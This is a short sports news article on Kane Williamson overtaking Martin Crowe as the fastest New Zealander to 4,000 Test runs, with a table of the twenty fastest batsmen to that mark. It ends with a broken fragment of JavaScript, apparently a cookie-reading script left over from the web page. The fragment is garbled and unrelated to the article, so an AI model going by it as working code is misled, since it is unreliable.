Kane Williamson has become the fastest New Zealand batsman to 4,000 Test runs.

Williamson overtook Black Caps legend Martin Crowe  in the first session of the fourth day of the second Test against Australia.

The 25-year-old reached the milestone in 89 Test innings, with Crowe holding reaching 4,000 runs in 93 innings.

Williamson also sits 24th on the all time list of fastest batsmen to 4,000 Test runs.

Fastest batsmen to 4,000 Test runs:

Player Country Year Match Innings
DG Bradman Australia 1937 31 48
H Sutcliffe England 1933 43 68
ED Weekes West Indies 1957 42 71
IVA Richards West Indies 1982 46 71
JB Hobbs England 1926 45 75
WR Hammond England 1935 47 76
BC Lara West Indies 1997 45 76
L Hutton England 1950 44 77
GS Sobers West Indies 1963 46 77
ML Hayden Australia 2003 46 77
V Sehwag India 2006 48 79
RN Harvey Australia 1956 46 80
SM Gavaskar India 1978 43 81
KF Barrington England 1964 51 82
KP Pietersen England 2008 45 83
Javed Miandad Pakistan 1983 53 84
R Dravid India 2001 48 84
RB Kanhai West Indies 1966 50 86
SR Tendulkar India 1997 58 86
GS Chappell Australia 1977 49 87

"(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}